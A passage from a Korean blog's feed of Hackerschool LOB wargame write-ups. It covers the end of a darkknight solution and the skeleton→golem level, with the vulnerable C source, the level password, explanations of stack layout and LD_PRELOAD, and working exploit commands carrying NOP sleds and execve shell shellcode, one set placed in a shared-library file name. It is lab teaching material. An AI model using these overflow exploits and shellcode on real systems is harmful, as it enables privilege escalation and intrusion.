&lt;pre id=&quot;code_1707747382328&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;./darkknight2 `python -c 'print &quot;\xbf\xbf\xbf\xbf&quot; * 10 + &quot;\xa0&quot;'` `python -c 'print &quot;\x90&quot; * 50 + &quot;\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80&quot;'`

gdb -q -c core

x/80x $esp-164&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위와 같이 argv[2]의 NOP를 50만 주니깐 buffer[40]-4의 주소가 0xbffffc로 시작하긴 하지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;983&quot; data-origin-height=&quot;54&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eC7AVb/btsEGPFjlYJ/tSbF0g8diyYkkTXKQrO3oK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eC7AVb/btsEGPFjlYJ/tSbF0g8diyYkkTXKQrO3oK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eC7AVb/btsEGPFjlYJ/tSbF0g8diyYkkTXKQrO3oK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeC7AVb%2FbtsEGPFjlYJ%2FtSbF0g8diyYkkTXKQrO3oK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;983&quot; height=&quot;54&quot; data-origin-width=&quot;983&quot; data-origin-height=&quot;54&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1707747534507&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;./darkknight2 `python -c 'print &quot;\xd8\xfd\xff\xbf&quot; * 10 + &quot;\x20&quot;'` `python -c 'print &quot;\x90&quot; * 50 + &quot;\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80&quot;'`&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;0x20을 space bar로 인식해서인지 셸이 실행되지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;841&quot; data-origin-height=&quot;449&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/caPZGA/btsEFgKAi6s/ttiXIFjhVJgAwiiNOQqGh1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/caPZGA/btsEFgKAi6s/ttiXIFjhVJgAwiiNOQqGh1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/caPZGA/btsEFgKAi6s/ttiXIFjhVJgAwiiNOQqGh1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcaPZGA%2FbtsEFgKAi6s%2FttiXIFjhVJgAwiiNOQqGh1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;841&quot; height=&quot;449&quot; data-origin-width=&quot;841&quot; data-origin-height=&quot;449&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1707747898027&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;gdb -q -c core

x/80x $esp-164&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그래서 새로 생성된 core 파일을 분석해보니 buffer[40]-4의 주소는 여전히 0xbffffc20인데, buffer[40]의 영역이 끝나고 SFP 부분을 보니 0xbffffc20이 아닌 0xbffffc00으로 되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;아무래도 lob 환경에서 0x20을 0x00으로 인식하는 것이 아닐까 싶다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;991&quot; data-origin-height=&quot;234&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cnqEGN/btsEF4ixSol/FrcXGzffbju9OqmOATPFKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cnqEGN/btsEF4ixSol/FrcXGzffbju9OqmOATPFKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cnqEGN/btsEF4ixSol/FrcXGzffbju9OqmOATPFKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcnqEGN%2FbtsEF4ixSol%2FFrcXGzffbju9OqmOATPFKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;991&quot; height=&quot;234&quot; data-origin-width=&quot;991&quot; data-origin-height=&quot;234&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1707747935023&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;./darkknight2 `python -c 'print &quot;\xd8\xfd\xff\xbf&quot; * 10 + &quot;\x24&quot;'` `python -c 'print &quot;\x90&quot; * 50 + &quot;\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80&quot;'`

./darkknight `python -c 'print &quot;\xd8\xfd\xff\xbf&quot; * 10 + &quot;\x24&quot;'` `python -c 'print &quot;\x90&quot; * 50 + &quot;\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80&quot;'`&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그래서 유도리 있게 SFP 부분을 20이 아닌 24로 변조해보니 셸이 잘 실행됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>전쟁/hackerschool lob Redhat 6.2</category>
      <author>Sean(slay)</author>
      <guid isPermaLink="true">https://sean.tistory.com/490</guid>
      <comments>https://sean.tistory.com/490#entry490comment</comments>
      <pubDate>Sun, 11 Feb 2024 20:54:23 +0900</pubDate>
    </item>
    <item>
      <title>[hackerschool lob redhat] LEVEL11 (skeleton -&amp;gt; golem) : stack destroyer(공유 라이브러리와 LD_PRELOAD 환경 변수를 이용)</title>
      <link>https://sean.tistory.com/489</link>
      <description>&lt;p data-ke-size=&quot;size18&quot;&gt;login as : skeleton&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;password : shellcoder&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;문제 확인&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;512&quot; data-origin-height=&quot;74&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kWAPF/btsEAiHOEcm/2YJloaQBhKRP5Hj46KsTg1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kWAPF/btsEAiHOEcm/2YJloaQBhKRP5Hj46KsTg1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kWAPF/btsEAiHOEcm/2YJloaQBhKRP5Hj46KsTg1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkWAPF%2FbtsEAiHOEcm%2F2YJloaQBhKRP5Hj46KsTg1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;512&quot; height=&quot;74&quot; data-origin-width=&quot;512&quot; data-origin-height=&quot;74&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1707298192828&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/*
        The Lord of the BOF : The Fellowship of the BOF
        - golem
        - stack destroyer
*/

#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc &amp;lt; 2){
		printf(&quot;argv error\n&quot;);
		exit(0);
	}

	if(argv[1][47] != '\xbf')
	{
		printf(&quot;stack is still your friend.\n&quot;);
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf(&quot;%s\n&quot;, buffer);

        // stack destroyer!
        memset(buffer, 0, 44);
	memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;1.&amp;nbsp;커맨드라인&amp;nbsp;인자가&amp;nbsp;있어야한다.&lt;br /&gt;2.&amp;nbsp;첫&amp;nbsp;번째&amp;nbsp;커맨드라인&amp;nbsp;인자&amp;nbsp;값의&amp;nbsp;48번째는&amp;nbsp;0xbf로써&amp;nbsp;이는&amp;nbsp;RET&amp;nbsp;부분에&amp;nbsp;덮어쓰는&amp;nbsp;주소&amp;nbsp;값이&amp;nbsp;스택&amp;nbsp;영역의&amp;nbsp;주소여야&amp;nbsp;한다는것이다.&lt;br /&gt;3.&amp;nbsp;buffer[40]&amp;nbsp;+&amp;nbsp;4byte&amp;nbsp;크기의&amp;nbsp;공간을&amp;nbsp;0으로&amp;nbsp;초기화한다.&lt;br /&gt;4.&amp;nbsp;buffer+48&amp;nbsp;번째&amp;nbsp;값&amp;nbsp;즉&amp;nbsp;RET&amp;nbsp;부분&amp;nbsp;다음&amp;nbsp;공간부터&amp;nbsp;0xbfffffff&amp;nbsp;-&amp;nbsp;buffer+48의&amp;nbsp;결과에&amp;nbsp;해당하는&amp;nbsp;크기의&amp;nbsp;공간만큼을&amp;nbsp;0으로&amp;nbsp;초기화&amp;nbsp;한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;스택 레이아웃&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1707298355476&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;낮은 주소
...
local variables of main
saved registers of main
return address of main
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
높은 주소&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이번&amp;nbsp;문제에서는&amp;nbsp;buffer[40]의&amp;nbsp;공간과&amp;nbsp;더불어&amp;nbsp;SFP&amp;nbsp;공간을&amp;nbsp;0으로&amp;nbsp;초기화&amp;nbsp;하고,&amp;nbsp;RET&amp;nbsp;부분은&amp;nbsp;자유롭게&amp;nbsp;두지만&amp;nbsp;RET&amp;nbsp;부분&amp;nbsp;다음&amp;nbsp;공간부터&amp;nbsp;스택&amp;nbsp;전체&amp;nbsp;공간을&amp;nbsp;0으로&amp;nbsp;초기화한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;즉 위의 스택 레이아웃에서 &quot;Return Address of main&quot; 부분 다음에 있는 &quot;argc&quot;부터 스택 전체 공간을 0으로 초기화 한다는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그러면 이전에 사용했던 기법들은 물론이고, 실행 파일 이름 자체가 있는 스택의 주소로 반환하도록 할 수도 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;buffer[40]의 주소부터 이 주소보다 높은 주소에 해당하는 공간은 다 사용이 못하는 것이므로 buffer[40]의 주소보다 작은 주소에 해당한느 공간을 이용해야 하는데, 이때 사용할 수 있는 방법이 공유 라이브러리와 관련이 있는 LD_PRELOAD 환경 변수를 이용하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;프로세스 레이아웃&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1707298634049&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;낮은 주소
....
코드 영역
데이터 영역
힙 영역
공유 라이브러리 영역
스택 영역
커널 영역
....
높은 주소&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;공유 라이브러리는 위의 프로세스 레이아웃을 참고하면 스택 영역보다 더 작은 주소 쪽에 배치되므로 공유 라이브러리를 만들고, 해당 공유 라이브러리 파일의 이름에 셸코드를 넣은 뒤 해당 공유 라이브러리 파일이 위치한 주소로 반환하도록 하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;(물론 힙 영역도 스택 영역보다 더 작은 주소 쪽에 해당하므로 힙 영역을 이용해도 된다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;공유 라이브러리와 LD_PRELOAD&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1707298980023&quot; class=&quot;asciidoc&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;낮은 주소
....
코드 영역
데이터 영역
힙 영역
공유 라이브러리 영역
스택 영역
커널 영역
....
높은 주소&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;공유(동적) 라이브러리는 windows로 비교하자면 .dll 확장자를 가진 파일과 같으며, 컴파일 될 때가 아닌 프로그램이 시작될 때 메모리에 적재된다는 특징이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;프로세스 레이아웃을 보면 공유 라이브러리들은 스택 영역보다 낮은 주소 영역에 배치된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;LD_PRELOAD 환경 변수는 LD_PRELOAD에 설정된 라이브러리를 기존의 라이브러리가 로딩되기 전에 먼저 로딩시킨다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1707299506013&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;LD_PRELOAD=a.so&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;예를 들어, 위와 같이 a.so라는 라이브러리 파일을 LD_PRELOAD에 지정해두면, 다른 라이브러리들이 로딩되기 전에 a.so 라는 라이브러리를 로딩 시킨다는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이때 만약 a.so 라이브러리에 printf()라는 함수가 있고, a.so 라이브러리가 로딩된 후 로딩되는 라이브러리들에서도 printf() 함수가 있다면 중복되는데, 이럴 때는 LD_PRELOAD에 설정된 a.so 라이브러리가 먼저 로딩되기 때문에 a.so 라이브러리의 printf() 함수가 호출된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이로 인해 프로그래머가 임의로 작성한 조작된 함수가 포함된 라이브러리를 만들고 그 라이브러리를 LD_PRELOAD 환경 변수에 등록해 먼저 로딩되도록 하여 후킹을 할 수 있기 때문에 LD_PRELOAD를 이용한 SSL 후킹에 많이 사용되는 방법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;단, SetUID가 걸린 파일은 LD_PRELOAD를 사용해도 보안상의 이유로 무시된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;공유 라이브러리를 만드는 방법과 LD_PRELOAD 환경 변수에 등록&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;1. C언어를 기준으로 설명한다면 my-lib.c와 같이 .c 확장자 파일에 자신만의 함수를 구현해둔 다음&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;2. gcc로 컴파일을 하는데, 이때 아래와 같이 -shared 옵션을 붙여주면 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1707300428584&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;gcc -shared -o my-lib.so my-lib.c&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;3. 그리고 다른 라이브러리들보다 먼저 로딩되도록 LD_PRELAOD 환경 변수에 등록하면 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1707300507479&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;LD_PRELOAD=./my-lib&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;4. LD_PRELOAD 환경 변수에 등록한 라이브러리를 해제하려면 unset 명령을 이용한다.&lt;/p&gt;
&lt;pre id=&quot;code_1707300622289&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;unset LD_PRELOAD&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;dummy 값 확인&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;512&quot; data-origin-height=&quot;126&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkfIAI/btsEx5WLq6r/US8cKSLtVVObjKW8vDys91/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkfIAI/btsEx5WLq6r/US8cKSLtVVObjKW8vDys91/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkfIAI/btsEx5WLq6r/US8cKSLtVVObjKW8vDys91/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbkfIAI%2FbtsEx5WLq6r%2FUS8cKSLtVVObjKW8vDys91%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;512&quot; height=&quot;126&quot; data-origin-width=&quot;512&quot; data-origin-height=&quot;126&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;지역 변수를 위한 공간으로 44byte를 할당하는 것으로 보아 dummy 값은 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;공격&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;공유 라이브러리 생성 및 LD_PRELOAD 환경 변수에 등록&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1214&quot; data-origin-height=&quot;52&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/miV9j/btsEBsXcJDF/YRnPOOr5W4yXUKZQoKKvZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/miV9j/btsEBsXcJDF/YRnPOOr5W4yXUKZQoKKvZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/miV9j/btsEBsXcJDF/YRnPOOr5W4yXUKZQoKKvZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmiV9j%2FbtsEBsXcJDF%2FYRnPOOr5W4yXUKZQoKKvZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1214&quot; height=&quot;52&quot; data-origin-width=&quot;1214&quot; data-origin-height=&quot;52&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1707301515554&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;touch a.c

gcc a.c -shared -o `python -c 'print &quot;\x90&quot; * 50 + &quot;\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81&quot;'`

export LD_PRELOAD=`python -c 'print &quot;./&quot; + &quot;\x90&quot; * 50 + &quot;\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81&quot;'`&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;현재는 후킹이 아니라 공유 라이브러리 이름에 셸코드를 넣고 해당 공유 라이브러리가 위치한 주소로 반환하도록 할 것이므로 .c 확장자 파일에 아무런 내용이 없어도 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;참고) LD_PRELOAD에 등록할 때는 경로까지 추가하여 기입해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;공유 라이브러리가 위치한 주소를 알아내기 위해 core 파일 생성 후 분석하여 공격&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;746&quot; data-origin-height=&quot;162&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uGVTU/btsExIguaYx/pECdp1qMw3ubnjSwkdEyK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uGVTU/btsExIguaYx/pECdp1qMw3ubnjSwkdEyK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uGVTU/btsExIguaYx/pECdp1qMw3ubnjSwkdEyK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuGVTU%2FbtsExIguaYx%2FpECdp1qMw3ubnjSwkdEyK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;746&quot; height=&quot;162&quot; data-origin-width=&quot;746&quot; data-origin-height=&quot;162&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1707302704788&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cp golem golem2

./golem2 `python -c 'print &quot;\x90&quot; * 44 + &quot;\xbf\xbf\xbf\xbf&quot;'`

gdb -q -c core

x/1000s $esp-1500&lt;/code&gt;&lt;/pre&gt;
